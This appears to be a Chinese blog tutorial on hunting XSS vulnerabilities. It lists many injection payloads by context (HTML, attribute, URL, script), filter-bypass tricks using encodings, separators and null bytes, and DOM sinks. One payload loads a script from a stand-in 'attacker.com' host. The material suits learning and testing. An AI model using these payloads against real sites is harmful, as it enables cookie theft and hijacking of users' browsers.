XSS漏洞挖掘

写在前面

文章内容参考自
https://twosecurity.io/
http://www.4hou.com/web/15212.html

文章主体来自https://twosecurity.io/的付费内容,并根据作者的基础进行了一定的增删,希望获取全部内容的读者可以前去支持。
文章的部分内容搬运自不同的博文,由于这篇文章总结梳理时间较长,遗忘了大部分网络资源的地址,如果你发现文章内容搬运自你的博客,请留言联系我。

一、XSS漏洞

常用测试payload

"'><svg/onload=alert(1)//

二、XSS的分类

反射型 XSS 漏洞的挖掘

(反射型XSS测试PAYLAOD)

a: ?name=<h1>amber&age=1
b: ?name=amber&age=<h1>

在网页源码中查找 amber并查看h1<是否被转义

< >符号未被转义则将参数转换成svg

payload的进一步构造

<svg>存在源码中再添加内联事件执行语句

<svg/onload=alert(1)>

onload是指在加载该页面时就执行,然后观察是否有弹窗。

存储型 XSS 漏洞的挖掘

存储型XSS简单分类

存储型XSS分类

操作步骤

在 burpsuite 的 intercepter 模块下,点击「 Intercepter is off 」按钮开启请求拦截 ——>在网站可输入处写入 XXXXX 的字符串——>查看拦截请求,将XXXXX字符串替换为payload

替换的payload

<a href="javascript:alert(1)">click</a>
Data URI,仅限 Firefox 下可以利用:
<a href="data:text/html,<script>alert(1)</script>">click</a>
JS URI:
<embed src=javascript:alert(1)>

存储型XSS挖掘总结

存储型XSS挖掘总结

DOM XSS 漏洞的挖掘

与普通XSS不同的是,DOM XSS是在浏览器的解析中改变页面DOM树,且恶意代码并不在返回页面源码中回显,这使我们无法通过特征匹配来检测DOM XSS。

<script>
    eval(location.hash.substr(1));
</script>

触发XSS的一种方式如下:
http://www.foo.com/xss.html#alert(1)
这个URL显然不会发送到服务端,仅仅是在客户端被接收并解析执行

页面跳转

页面跳转中常用的三种方式:

1)302跳转

2)Meta标签跳转

3)通过JS跳转,使用location.href、location.replace()、location.assign()。

在页面跳转时,如果使用第三种方式跳转,那么就可以通过javascript伪协议执行JS脚本。
注意前两种跳转方式是无法执行的。
所以在页面跳转时针对跳转URL要做检测,否则就容易造成XSS。

例如:

<script type="text/javascript">
    var s=location.search;
    s=s.substring(1,s.length);   
    var url="";

    if(s.indexOf("url=")>-1){
        var pos=s.indexOf("url=")+4; 
        url=s.substring(pos,s.length);
        location.href = url;
    }  
</script>

payload:http://192.168.192.120/1.html?url=javascript:alert(1)

取值写入页面或动态执行

接受用户输入,并通过DOM操作写入到当前页面中或者动态执行,也可以触发XSS

<html>
<head>
</head>
<body>
    <div id='text'>test</div>
    <div id='html'>html</div>
    <script>
        document.getElementById('html').innerHTML = "<img/src='x' onerror=alert(1)>";
    </script>
</body>
</html>

DOM XSS输入点

Location 当前网页的URL地址
window.name 当前网页 tab 的名字,它被不同的网站赋值,也就是说这个网页为window.name 赋值后再跳转到其它网站,window.name 的值依然不变
document.title 是当前网页的标题,可以在搜索框输入控制它的内容
document.referer 表示来路,表示从哪个网页URL访问过来的
postMessage 是HTML5 的一种跨域机制,但很多时候开发者没有正确的做来源检测,会导致 DOM XSS 的发生
location 它触发 JS 通常是以跳转到 JS URI 的方式执行
eval 是JS 内置的动态JS执行器
innerHTML 能为一个网页元素赋值
document.write 可以输出一个页面流
Function 能通过函数生成一个函数,可以传入动态JS代码
setTimeout 会延时执行JS代码
setInterval 表示循环执行 JS 代码

闭合问题

引号,尖括号闭合说明

举例

假设输入框源码:<input type="text" name="2sec" value="[?]">

其中value中的[?]是可输入部分

payload1:

value=" "autofocus/onfocus=alert(1)//">

autofocus:对象在加载完成后自动获得焦点
onfocus:事件在对象获得焦点时发生
第一个引号用于和value中的前一个引号闭合,结尾的//用于注释后面的语句,这样使得xss能被浏览器完整的解析
value=" "autofocus/onfocus=alert(1)//" "

payload2:

value=" "><svg onload=alert("XSS")//">

第一个引号和用于和value中的前一个引号闭合,>用于和input左边的<闭合,<用于和结尾处的>闭合
<input type="text" name="2sec" value=" **"><svg onload=alert("XSS")//"> **

HTML标签下的情况

HTML标签下的XSS是一种最常见的情况,例如:

<!DOCTYPE HTML>
<html>
<head>
<title>HTML Context</title>
</head>
<body>
{{用户输入}}
</body>
</html>

可以使用以下payloads:

<script src=//attacker.com/evil.js></script>
<script>alert(1)</script>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe onload=alert(1)>

为了注入JS代码成功,我们需要闭合前面的HTML标签,然后使用<svg onload=alert(1)// 类似payload 就可以成功XSS。

但是有些html标签中不执行js代码,例如:<title>, <textarea >,<xmp>都需要使用</title><script>alert(1)</script> 先闭合标签,再插入JS代码。

HTML属性下的情况

用户的输入是在HTML 标签的属性当中的时候,怎么来执行JS 代码。会有三种情况:

  • 双引号
  • 单引号
  • 无引号
<!DOCTYPE HTML>
<html>
<head>
<title></title>
</head>
<body>
.....
...
<input type="" name="input" value="{{用户输入}}"> <!-- 双引号 -->
<input type="" name="input" value='{{用户输入}}'> <!-- 单引号 -->
<input type="" name="input" value={{用户输入}}> <!-- 无引号 -->
...
....
</body>
</html>
  1. 双引号payloads:
"autofocus onfocus="alert(1)
"autofocus onfocus=alert(1)//
"onbeforescriptexecute=alert(1)//
"onmouseover="alert(1)//
"autofocus onblur="alert(1)
  1. 单引号payloads:
'autofocus onfocus='alert(1)
'autofocus onfocus=alert(1)//
'onbeforescriptexecute=alert(1)//
'onmouseover='alert(1)//
'autofocus onblur='alert(1)
  1. 无引号payloads:
autofocus onfocus=alert(1)//
onbeforescriptexecute=alert(1)//
onmouseover=alert(1)//
  1. hidden 标签:

1)再onclick时间下,使用accesskey

<!DOCTYPE HTML>
<html>
..
<input type="hidden" value="{{用户输入}}" />
..
</html>

Payload: "accesskey="X" onclick="alert(1)" ,为了触发事件,需要按Alt+X 键。

URL下的情况

使用了加载URL的标签

<script src="{{用户输入}}"></script>

<a href="{{用户输入}}">Click</a>

<iframe src="{{用户输入}}" />

<base href="{{用户输入}}">

<form action={{用户输入}}>
<button>X</button>

<frameset><frame src="{{用户输入}}"></frameset>

Payload: javascript:alert(1)//

Script标签下的情况

用户的输入在<script> 标签中,从而导致的JS代码执行。

<!DOCTYPE HTML>
<html>
..
<script>
var x="{{用户输入}}";
..
...
</script>
..
</html>

Payloads:

";alert(1)//
"-alert(1)-"
"+alert(1)+"
"*alert(1)*"
<!DOCTYPE HTML>
<html>
..
<script>
var x=123;
function test(){
    if(test =='{{用户输入}}'){
        //something
    }
    else
    {
    //something
    }
}
test();
</script>
..
</html>

首先用 test'){// 封闭条件判断的地方,变成:

function test(){
    if(test =='test'){//'){
    //something
    }
    else
    {
    //something
    }
}

但是这样只有在调用test()才能执行,所以我们要跳出这个函数输入:test'){1}}// 封闭test()函数:

function test(){
    if(test =='test'){1}}//'){
    //something
    }
    else
    {
    //something
    }
}

我们在使用test'){1}};alert(1);function test1(){ if(1){// 把对应的test位置替换下,利用test1 来封闭剩下的函数,但是这样执行会有错误,我们使用ES6的箭头函数来替代function :

function test(){
    if(test =='test'){1}};alert(1);test1=>{ if(1){//'){1}}//'){
    //something
    }
    else
    {
    //something
    }
}

未设置过滤情况下利用script进行闭合

<script>var website="http://www.xxx.com/"</script><script>alert(1)//";</script>

双引号绕过<过滤

<script>var website="http://www.xxx.com/"-alert(1)//";</script>

-alert(1)/" 中的减号的意思:让 js 语句不发生错误 ('+',在 url 的 uqery 中是空格的编码,而 % 号是表示url编码的标识符,/号在url中是表示一个path,所以用减号最合适。)

使用换行符跳过注释

<script>//var website="http://www.xxx.com/
    alert(1)//";</script>

**多行注释绕过 **

<script>/*var website="http://www.xxx.com/ */alert(1)//"; */</script>

利用HTML编码闭合单引号

在 HTML 编码中,单引号对应的有 命名编码:&apos; 、十进制编码:&#39;、十六进制编码:&#x27;

XSS 漏洞挖掘总结

XSS挖掘

三、混淆和绕过

基本变形

最简单的测试XSS的payload

<script>alert(1)</script>

如果测试的参数存在XSS,就会弹窗显示1

这个payload肯定会被过过滤,可以对payload进行简单修改,绕过默认的filter。

在script标签钟插入一个空格或者是tab
<script >alert(1)</script>
<script    >alert(1)</script>

也可以对tab,换行,回车进行编码来绕过
<script&#9>alert(1)</script>
<script&#10>alert(1)</script>
<script&#13>alert(1)</script>

对标签进行大小写
<ScRipT>alert(1)</sCriPt>

插入null字节,在xss payload的任何地方插入null字节,有时候可以绕过filter
<%00script>alert(1)</script>
<script>al%00ert(1)</script>

事件属性

<input autofocus onfocus=alert(1)> 
<input onblur=alert(1) autofocus><input autofocus> 
<body onscroll=alert(1)><br><br>...<br><input autofocus>
Reference(十进制Unicode) Chrome浏览器(对应的空白分隔符) Edge浏览器(对应的空白分隔符) IE浏览器(对应的空白分隔符)
属性中支持反引号 不支持 不支持 IE >= 10 docmode: 不支持 IE < 10 docmode: 支持
标签名称中的空白分隔符(e.g. []src="javascript:alert(1)">) 9,10,12,13, 32,47 9,10,12,13,32,47 IE < 10 docmode:9, 10,11,12,13,32,47 IE >= 10 docmode:9, 10,12,13,32,47
属性中的空白分隔符 (e.g.<iframe[]src[]= []"javascript:alert(1)">) 9,10,12,13, 32 9,10,12,13,32 IE < 10 docmode:0 ,9, 10,11,12,13,32,47 IE >= 10 docmode:9, 10,12,13,32
JavaScript中的空白分隔符 9-13,32, 160,5760, 8192-8202, 8232,8233, 8239,8287, 12288,65279, 65534 在附录中能找到Edge所支持的字符 9-13,32,160,5760, 6158,8192-8202, 8232,8233,8239, 8287,12288,65279
URL中的空白分隔符 (e.g.<iframe src="[]javascript:alert(1)">) 9,10,13,32 9,10,13,32 1-7,9,10,11,12,13, 32
CSS中的空白分隔符 9,10,12,13, 32 9,10,12,13,32 IE < 10 docmode:9, 10,11,12,13,32,160, 8192-8203,12288, 65279 IE >= 10 docmode:9, 10,12,13,32

打开Chrome控制台->Console,输入String.fromCharCode(9),即复制到9所对应的字符

分隔符和括号

分隔符是用于分隔文本字符串或者其他数据流的一个或多个字符。在挖xss漏洞时,巧妙的使用分隔符非常有效。在HTML中,我们经常使用空格来分隔属性和它的值。还有的时候,只要使用一个单引号或者双引号作为分隔符就可以绕过filter了,如下:

<img onerror="alert(1)"src=x>
<img onerror='alert(1)'src=x>

对分隔符进行编码也可以用来绕过防御
<img onerror=&#34alert(1)&#34src=x>
<img onerror=&#39alert(1)&#39src=x>

反引号也是绕过filter的一种不错的技巧

<img onerror=`alert(1)`src=x>
编码版本如下:
<img onerror=&#96alert(1)&#96src=x>

Filter有时候会过滤某些关键词,比如以“on”开头的事件处理器,以此来防御此类xss攻击。

如果我们把属性的位置换到前面,filter无法识别反引号,会将它视为不是以“on”开头的单独的属性,这样也就可以有效绕过filter了,如下:

<img src=`x`onerror=alert(1)>

跟分隔符一样,尖括号也可以利用来绕过filter。在某些情况下,filter仅仅只会查找开始括号和闭合括号,然后将尖括号里面的内容与恶意标签黑名单比较。通过使用多个尖括号,有时候可以骗过filter接受后面的代码。再使用双斜线注释掉后面的闭合标签,所以也不会报错,如下:

<<script>alert(1)//<</script>

还有时候在结束的地方使用开尖括号也有可能绕过filter
<input onsubmit=alert(1)<

标签名分隔符

<img/onerror=alert(1) src=a>
<img[0x09]onerror=alert(1) src=a>
<img[0x0d]onerror=alert(1) src=a>
<img[0x0a]onerror=alert(1) src=a>
<img/"onerror=alert(1) src=a>
<img/'onerror=alert(1) src=a>
<img/anyjunk/onerror=alert(a) src=a>

(字符引用解析)

Reference Chrome浏览器 Edge浏览器 IE浏览器
十进制数字字符引用的最大长度 (e.g.&x00000060;) 无限 无限 IE >= 9 docmode: 无限IE < 9 docmode: 7;一旦超出限制会被?符代替
八进制数字字符引用的最大长度 (e.g. <) 无限 无限 IE >= 9 docmode: 无限IE < 9 docmode: 6;一旦超出限制会被?符代替
HTML5字符实体支持 支持 支持 IE >= 10 docmode: 支持IE < 10 docmode: 不支持
在某些情况下可以选择忽略分号 (e.g.<p>&#97</p>, <input value="&#97">) 支持 支持 IE >= 9 docmode: 支持IE < 9 docmode: 支持 除了十六进制数字字符引用

JS编码

a\u006cert(1);
alert`1`;
location=/javascript:alert%281%29/.source;

HTML编码

<a href="javascsipt:alert(1)">click</a>

备注:CSP策略

在挖掘过程中可能会遇到使用CSP策略禁止网站弹出JavaScript警告窗口的情况。
CSP:Content-Security-Policy(内容安全策略),以白名单的机制对网站加载或执行的资源起作用。通过CSP所约束的的规责指定可信的内容来源(这里的内容可以指脚本、图片、iframe、fton、style等等可能的远程的资源)。通过CSP协定,让WEB处于一个安全的运行环境中。

四、漏洞利用

img

HTTPOnly Cookies

HttpOnly属性介绍:

Cookie的HttpOnly属性是Cookie的扩展功能,它使JavaScript脚本无法获得Cookie。其主要目的是为了防止XSS对Cookie的信息窃取。

发送指定HttpOnly属性的Cookie的方法如下:

Set-Cookie: name=value; HttpOnly

通过上述设置,通常从Web页面内还可以对Cookie进行读取操作。但使用JavaScript的doucment.cookie就无法读取附加HttpOnly属性后的Cookie内容了。

利用过程

(以下图片展示了攻击者的XSS漏洞利用流程)

img
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,242评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,769评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,484评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,133评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,007评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,080评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,496评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,190评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,464评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,549评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,330评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,205评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,567评论 3 298
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,889评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,160评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,475评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,650评论 2 335

推荐阅读更多精彩内容

  • XSS的检测 检测XSS一般分两种方法:一种是手工检测、一种是软件自动检测手工检测:检测结果准确,但对于大型web...
    cws阅读 8,334评论 3 25
  • 1.5XSS Payload 第一类:Javascript URL link link link Hello He...
    ApacheShiro阅读 1,571评论 0 0
  • --《web前端黑客技术加密》 HTML标签之间 普通场景 提交 综合 无法执行脚本的标签 title:定义文档的...
    心如水_0b05阅读 290评论 0 0
  • 漏洞简介 跨站脚本攻击又名XSS,全称为Cross Site Scripting,为了区别层叠样式表(CSS)所以...
    捡垃圾的小弟弟阅读 1,853评论 0 7
  • 浅谈XSS—字符编码和浏览器解析原理 XSS简介 XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascadin...
    Smi1e_阅读 4,616评论 2 3